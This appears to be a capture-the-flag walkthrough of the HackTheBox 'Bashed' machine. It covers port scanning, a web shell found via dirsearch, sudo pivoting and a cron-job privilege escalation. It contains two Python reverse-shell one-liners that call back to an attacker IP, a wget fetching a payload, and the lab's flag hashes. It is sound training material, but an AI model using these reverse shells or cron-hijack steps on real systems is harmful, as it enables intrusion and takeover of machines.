[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升

Information Gathering

IP Address Opening Ports
10.10.10.68 TCP:80

$ sudo masscan -p1-65535,U:1-65535 10.10.10.68 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
$ ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
$ nmap -Pn -sV -sC -p$ports 10.10.10.68

bash 复制代码
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

PHP Bash

$ dirsearch -u http://10.10.10.68

http://10.10.10.68/dev/

http://10.10.10.68/dev/phpbash.php

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.16",445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

User.txt

8f7df2f47989e214ab11a888ee378946

www-data to scriptmanager

$ sudo -l

$ sudo -u scriptmanager ./reverse.sh

Privilege Escalation : Python cron jobs

$ ./pspy32

$ cd /scripts;touch 1.py

python 复制代码
import os,pty,socket;s=socket.socket();s.connect(("10.10.16.16",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")

$ wget http://10.10.16.16/reverse.py

Root.txt

96c6dadfc0c09eb783c4d2e614205ef9

相关推荐
gpfyyds66611 小时前
Python代码练习
开发语言·python
aiguangyuan12 小时前
使用LSTM进行情感分类:原理与实现剖析
人工智能·python·nlp
小小张说故事12 小时前
BeautifulSoup:Python网页解析的优雅利器
后端·爬虫·python
luoluoal12 小时前
基于python的医疗领域用户问答的意图识别算法研究(源码+文档)
python
Shi_haoliu12 小时前
python安装操作流程-FastAPI + PostgreSQL简单流程
python·postgresql·fastapi
ZH154558913112 小时前
Flutter for OpenHarmony Python学习助手实战:API接口开发的实现
python·学习·flutter
小宋102112 小时前
Java 项目结构 vs Python 项目结构:如何快速搭一个可跑项目
java·开发语言·python
一晌小贪欢13 小时前
Python 爬虫进阶:如何利用反射机制破解常见反爬策略
开发语言·爬虫·python·python爬虫·数据爬虫·爬虫python
躺平大鹅13 小时前
5个实用Python小脚本,新手也能轻松实现(附完整代码)
python